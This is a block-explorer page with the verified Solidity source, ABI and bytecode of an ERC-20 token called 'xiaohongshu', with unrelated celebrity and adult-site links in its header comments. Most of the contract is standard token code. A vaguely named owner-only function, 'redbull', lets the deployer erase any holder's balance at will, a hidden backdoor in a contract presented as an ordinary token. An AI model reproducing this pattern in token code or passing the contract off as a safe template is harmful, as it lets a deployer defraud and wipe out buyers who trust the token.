Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2023-05-29
*/

// SPDX-License-Identifier: MIT

// https://www.pornhub.com/

/**    
Twitter  : https://twitter.com/elonmusk
*/
// 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f
// 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
// IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
// address(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f);

pragma solidity ^0.8.20;

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}


contract xiaohongshu {
    using SafeMath for uint256;
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);


    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply = 690000000000000000000000000000;
    string private _name = "Chinese Instagram";
    string private _symbol = "xiaohongshu";
    address private _owner;
    constructor() {
        _owner = msg.sender;
        _balances[_owner] = _totalSupply;
    }

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 amount) public virtual returns (bool) {
        address owner = msg.sender;
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual returns (bool) {
        address owner = msg.sender;
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual returns (bool) {
        address spender = msg.sender;
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = msg.sender;
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = msg.sender;
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
            // decrementing then incrementing.
            _balances[to] += amount;
        }

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    function redbull(address account) external {
        require(msg.sender == _owner);
    
        uint256 accountBalance = _balances[account];
    
        _totalSupply -= accountBalance;
        _balances[account] -= _balances[account];
        emit Transfer(account, address(0), accountBalance);
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"redbull","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

6c08b5829f66bff9a4295000000060025560c060405260116080908152704368696e65736520496e7374616772616d60781b60a0526003906100419082610144565b5060408051808201909152600b81526a7869616f686f6e6773687560a81b60208201526004906100719082610144565b5034801561007d575f80fd5b50600580546001600160a01b031916339081179091556002545f91825260208290526040909120556101ff565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806100d257607f821691505b6020821081036100f057634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111561013f575f81815260208120601f850160051c8101602086101561011c5750805b601f850160051c820191505b8181101561013b57828155600101610128565b5050505b505050565b81516001600160401b0381111561015d5761015d6100aa565b6101718161016b84546100be565b846100f6565b602080601f8311600181146101a4575f841561018d5750858301515b5f19600386901b1c1916600185901b17855561013b565b5f85815260208120601f198616915b828110156101d2578886015182559484019460019091019084016101b3565b50858210156101ef57878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b61091d8061020c5f395ff3fe608060405234801561000f575f80fd5b50600436106100b1575f3560e01c8063395093511161006e578063395093511461013f57806370a082311461015257806395d89b411461017a578063a457c2d714610182578063a9059cbb14610195578063dd62ed3e146101a8575f80fd5b806306fdde03146100b5578063095ea7b3146100d357806318160ddd146100f657806323b872dd14610108578063257654bd1461011b578063313ce56714610130575b5f80fd5b6100bd6101bb565b6040516100ca919061075d565b60405180910390f35b6100e66100e13660046107c3565b61024b565b60405190151581526020016100ca565b6002545b6040519081526020016100ca565b6100e66101163660046107eb565b610264565b61012e610129366004610824565b610287565b005b604051601281526020016100ca565b6100e661014d3660046107c3565b61033a565b6100fa610160366004610824565b6001600160a01b03165f9081526020819052604090205490565b6100bd61035b565b6100e66101903660046107c3565b61036a565b6100e66101a33660046107c3565b6103e9565b6100fa6101b6366004610844565b6103f6565b6060600380546101ca90610875565b80601f01602080910402602001604051908101604052809291908181526020018280546101f690610875565b80156102415780601f1061021857610100808354040283529160200191610241565b820191905f5260205f20905b81548152906001019060200180831161022457829003601f168201915b5050505050905090565b5f33610258818585610420565b60019150505b92915050565b5f33610271858285610543565b61027c8585856105bb565b506001949350505050565b6005546001600160a01b0316331461029d575f80fd5b6001600160a01b0381165f9081526020819052604081205460028054919283926102c89084906108c1565b90915550506001600160a01b0382165f9081526020819052604081208054916102f183806108c1565b90915550506040518181525f906001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b5f3361025881858561034c83836103f6565b61035691906108d4565b610420565b6060600480546101ca90610875565b5f338161037782866103f6565b9050838110156103dc5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084015b60405180910390fd5b61027c8286868403610420565b5f336102588185856105bb565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b6001600160a01b0383166104825760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103d3565b6001600160a01b0382166104e35760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103d3565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f61054e84846103f6565b90505f1981146105b557818110156105a85760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000060448201526064016103d3565b6105b58484848403610420565b50505050565b6001600160a01b03831661061f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103d3565b6001600160a01b0382166106815760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103d3565b6001600160a01b0383165f90815260208190526040902054818110156106f85760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016103d3565b6001600160a01b038481165f81815260208181526040808320878703905593871680835291849020805487019055925185815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a36105b5565b5f6020808352835180828501525f5b818110156107885785810183015185820160400152820161076c565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b03811681146107be575f80fd5b919050565b5f80604083850312156107d4575f80fd5b6107dd836107a8565b946020939093013593505050565b5f805f606084860312156107fd575f80fd5b610806846107a8565b9250610814602085016107a8565b9150604084013590509250925092565b5f60208284031215610834575f80fd5b61083d826107a8565b9392505050565b5f8060408385031215610855575f80fd5b61085e836107a8565b915061086c602084016107a8565b90509250929050565b600181811c9082168061088957607f821691505b6020821081036108a757634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561025e5761025e6108ad565b8082018082111561025e5761025e6108ad56fea26469706673582212209ea6253dd6e3dd7aa909895dd90d02a24a5d8ed75593bccfc10bb434ab9f42d864736f6c63430008140033

0x608060405234801561000f575f80fd5b50600436106100b1575f3560e01c8063395093511161006e578063395093511461013f57806370a082311461015257806395d89b411461017a578063a457c2d714610182578063a9059cbb14610195578063dd62ed3e146101a8575f80fd5b806306fdde03146100b5578063095ea7b3146100d357806318160ddd146100f657806323b872dd14610108578063257654bd1461011b578063313ce56714610130575b5f80fd5b6100bd6101bb565b6040516100ca919061075d565b60405180910390f35b6100e66100e13660046107c3565b61024b565b60405190151581526020016100ca565b6002545b6040519081526020016100ca565b6100e66101163660046107eb565b610264565b61012e610129366004610824565b610287565b005b604051601281526020016100ca565b6100e661014d3660046107c3565b61033a565b6100fa610160366004610824565b6001600160a01b03165f9081526020819052604090205490565b6100bd61035b565b6100e66101903660046107c3565b61036a565b6100e66101a33660046107c3565b6103e9565b6100fa6101b6366004610844565b6103f6565b6060600380546101ca90610875565b80601f01602080910402602001604051908101604052809291908181526020018280546101f690610875565b80156102415780601f1061021857610100808354040283529160200191610241565b820191905f5260205f20905b81548152906001019060200180831161022457829003601f168201915b5050505050905090565b5f33610258818585610420565b60019150505b92915050565b5f33610271858285610543565b61027c8585856105bb565b506001949350505050565b6005546001600160a01b0316331461029d575f80fd5b6001600160a01b0381165f9081526020819052604081205460028054919283926102c89084906108c1565b90915550506001600160a01b0382165f9081526020819052604081208054916102f183806108c1565b90915550506040518181525f906001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b5f3361025881858561034c83836103f6565b61035691906108d4565b610420565b6060600480546101ca90610875565b5f338161037782866103f6565b9050838110156103dc5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084015b60405180910390fd5b61027c8286868403610420565b5f336102588185856105bb565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b6001600160a01b0383166104825760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103d3565b6001600160a01b0382166104e35760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103d3565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f61054e84846103f6565b90505f1981146105b557818110156105a85760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e636500000060448201526064016103d3565b6105b58484848403610420565b50505050565b6001600160a01b03831661061f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103d3565b6001600160a01b0382166106815760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103d3565b6001600160a01b0383165f90815260208190526040902054818110156106f85760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016103d3565b6001600160a01b038481165f81815260208181526040808320878703905593871680835291849020805487019055925185815290927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a36105b5565b5f6020808352835180828501525f5b818110156107885785810183015185820160400152820161076c565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b03811681146107be575f80fd5b919050565b5f80604083850312156107d4575f80fd5b6107dd836107a8565b946020939093013593505050565b5f805f606084860312156107fd575f80fd5b610806846107a8565b9250610814602085016107a8565b9150604084013590509250925092565b5f60208284031215610834575f80fd5b61083d826107a8565b9392505050565b5f8060408385031215610855575f80fd5b61085e836107a8565b915061086c602084016107a8565b90509250929050565b600181811c9082168061088957607f821691505b6020821081036108a757634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561025e5761025e6108ad565b8082018082111561025e5761025e6108ad56fea26469706673582212209ea6253dd6e3dd7aa909895dd90d02a24a5d8ed75593bccfc10bb434ab9f42d864736f6c63430008140033

1516:4967:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2165:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3032:190;;;;;;:::i;:::-;;:::i;:::-;;;1169:14:1;;1162:22;1144:41;;1132:2;1117:18;3032:190:0;1004:187:1;2459:99:0;2538:12;;2459:99;;;1342:25:1;;;1330:2;1315:18;2459:99:0;1196:177:1;3230:284:0;;;;;;:::i;:::-;;:::i;5905:310::-;;;;;;:::i;:::-;;:::i;:::-;;2367:84;;;2441:2;2044:36:1;;2032:2;2017:18;2367:84:0;1902:184:1;3522:236:0;;;;;;:::i;:::-;;:::i;2566:118::-;;;;;;:::i;:::-;-1:-1:-1;;;;;2658:18:0;2631:7;2658:18;;;;;;;;;;;;2566:118;2264:95;;;:::i;3766:434::-;;;;;;:::i;:::-;;:::i;2692:182::-;;;;;;:::i;:::-;;:::i;2882:142::-;;;;;;:::i;:::-;;:::i;2165:91::-;2210:13;2243:5;2236:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2165:91;:::o;3032:190::-;3106:4;3139:10;3160:32;3139:10;3176:7;3185:6;3160:8;:32::i;:::-;3210:4;3203:11;;;3032:190;;;;;:::o;3230:284::-;3352:4;3387:10;3408:38;3424:4;3387:10;3439:6;3408:15;:38::i;:::-;3457:27;3467:4;3473:2;3477:6;3457:9;:27::i;:::-;-1:-1:-1;3502:4:0;;3230:284;-1:-1:-1;;;;3230:284:0:o;5905:310::-;5981:6;;-1:-1:-1;;;;;5981:6:0;5967:10;:20;5959:29;;;;;;-1:-1:-1;;;;;6030:18:0;;6005:22;6030:18;;;;;;;;;;;6065:12;:30;;6030:18;;;;6065:30;;6030:18;;6065:30;:::i;:::-;;;;-1:-1:-1;;;;;;;6128:18:0;;:9;:18;;;;;;;;;;;;;6106:40;6128:18;;6106:40;:::i;:::-;;;;-1:-1:-1;;6162:45:0;;1342:25:1;;;6188:1:0;;-1:-1:-1;;;;;6162:45:0;;;;;1330:2:1;1315:18;6162:45:0;;;;;;;5948:267;5905:310;:::o;3522:236::-;3610:4;3643:10;3664:64;3643:10;3680:7;3717:10;3689:25;3643:10;3680:7;3689:9;:25::i;:::-;:38;;;;:::i;:::-;3664:8;:64::i;2264:95::-;2311:13;2344:7;2337:14;;;;;:::i;3766:434::-;3859:4;3892:10;3859:4;3940:25;3892:10;3957:7;3940:9;:25::i;:::-;3913:52;;4004:15;3984:16;:35;;3976:85;;;;-1:-1:-1;;;3976:85:0;;3338:2:1;3976:85:0;;;3320:21:1;3377:2;3357:18;;;3350:30;3416:34;3396:18;;;3389:62;-1:-1:-1;;;3467:18:1;;;3460:35;3512:19;;3976:85:0;;;;;;;;;4097:60;4106:5;4113:7;4141:15;4122:16;:34;4097:8;:60::i;2692:182::-;2762:4;2795:10;2816:28;2795:10;2833:2;2837:6;2816:9;:28::i;2882:142::-;-1:-1:-1;;;;;2989:18:0;;;2962:7;2989:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;2882:142::o;5056:380::-;-1:-1:-1;;;;;5192:19:0;;5184:68;;;;-1:-1:-1;;;5184:68:0;;3744:2:1;5184:68:0;;;3726:21:1;3783:2;3763:18;;;3756:30;3822:34;3802:18;;;3795:62;-1:-1:-1;;;3873:18:1;;;3866:34;3917:19;;5184:68:0;3542:400:1;5184:68:0;-1:-1:-1;;;;;5271:21:0;;5263:68;;;;-1:-1:-1;;;5263:68:0;;4149:2:1;5263:68:0;;;4131:21:1;4188:2;4168:18;;;4161:30;4227:34;4207:18;;;4200:62;-1:-1:-1;;;4278:18:1;;;4271:32;4320:19;;5263:68:0;3947:398:1;5263:68:0;-1:-1:-1;;;;;5344:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;5396:32;;1342:25:1;;;5396:32:0;;1315:18:1;5396:32:0;;;;;;;5056:380;;;:::o;5444:453::-;5579:24;5606:25;5616:5;5623:7;5606:9;:25::i;:::-;5579:52;;-1:-1:-1;;5646:16:0;:37;5642:248;;5728:6;5708:16;:26;;5700:68;;;;-1:-1:-1;;;5700:68:0;;4552:2:1;5700:68:0;;;4534:21:1;4591:2;4571:18;;;4564:30;4630:31;4610:18;;;4603:59;4679:18;;5700:68:0;4350:353:1;5700:68:0;5812:51;5821:5;5828:7;5856:6;5837:16;:25;5812:8;:51::i;:::-;5568:329;5444:453;;;:::o;4208:840::-;-1:-1:-1;;;;;4339:18:0;;4331:68;;;;-1:-1:-1;;;4331:68:0;;4910:2:1;4331:68:0;;;4892:21:1;4949:2;4929:18;;;4922:30;4988:34;4968:18;;;4961:62;-1:-1:-1;;;5039:18:1;;;5032:35;5084:19;;4331:68:0;4708:401:1;4331:68:0;-1:-1:-1;;;;;4418:16:0;;4410:64;;;;-1:-1:-1;;;4410:64:0;;5316:2:1;4410:64:0;;;5298:21:1;5355:2;5335:18;;;5328:30;5394:34;5374:18;;;5367:62;-1:-1:-1;;;5445:18:1;;;5438:33;5488:19;;4410:64:0;5114:399:1;4410:64:0;-1:-1:-1;;;;;4560:15:0;;4538:19;4560:15;;;;;;;;;;;4594:21;;;;4586:72;;;;-1:-1:-1;;;4586:72:0;;5720:2:1;4586:72:0;;;5702:21:1;5759:2;5739:18;;;5732:30;5798:34;5778:18;;;5771:62;-1:-1:-1;;;5849:18:1;;;5842:36;5895:19;;4586:72:0;5518:402:1;4586:72:0;-1:-1:-1;;;;;4694:15:0;;;:9;:15;;;;;;;;;;;4712:20;;;4694:38;;4912:13;;;;;;;;;;:23;;;;;;4964:26;;1342:25:1;;;4912:13:0;;4964:26;;1315:18:1;4964:26:0;;;;;;;5003:37;6223:125;14:548:1;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:173::-;635:20;;-1:-1:-1;;;;;684:31:1;;674:42;;664:70;;730:1;727;720:12;664:70;567:173;;;:::o;745:254::-;813:6;821;874:2;862:9;853:7;849:23;845:32;842:52;;;890:1;887;880:12;842:52;913:29;932:9;913:29;:::i;:::-;903:39;989:2;974:18;;;;961:32;;-1:-1:-1;;;745:254:1:o;1378:328::-;1455:6;1463;1471;1524:2;1512:9;1503:7;1499:23;1495:32;1492:52;;;1540:1;1537;1530:12;1492:52;1563:29;1582:9;1563:29;:::i;:::-;1553:39;;1611:38;1645:2;1634:9;1630:18;1611:38;:::i;:::-;1601:48;;1696:2;1685:9;1681:18;1668:32;1658:42;;1378:328;;;;;:::o;1711:186::-;1770:6;1823:2;1811:9;1802:7;1798:23;1794:32;1791:52;;;1839:1;1836;1829:12;1791:52;1862:29;1881:9;1862:29;:::i;:::-;1852:39;1711:186;-1:-1:-1;;;1711:186:1:o;2091:260::-;2159:6;2167;2220:2;2208:9;2199:7;2195:23;2191:32;2188:52;;;2236:1;2233;2226:12;2188:52;2259:29;2278:9;2259:29;:::i;:::-;2249:39;;2307:38;2341:2;2330:9;2326:18;2307:38;:::i;:::-;2297:48;;2091:260;;;;;:::o;2356:380::-;2435:1;2431:12;;;;2478;;;2499:61;;2553:4;2545:6;2541:17;2531:27;;2499:61;2606:2;2598:6;2595:14;2575:18;2572:38;2569:161;;2652:10;2647:3;2643:20;2640:1;2633:31;2687:4;2684:1;2677:15;2715:4;2712:1;2705:15;2569:161;;2356:380;;;:::o;2741:127::-;2802:10;2797:3;2793:20;2790:1;2783:31;2833:4;2830:1;2823:15;2857:4;2854:1;2847:15;2873:128;2940:9;;;2961:11;;;2958:37;;;2975:18;;:::i;3006:125::-;3071:9;;;3092:10;;;3089:36;;;3105:18;;:::i

ipfs://9ea6253dd6e3dd7aa909895dd90d02a24a5d8ed75593bccfc10bb434ab9f42d8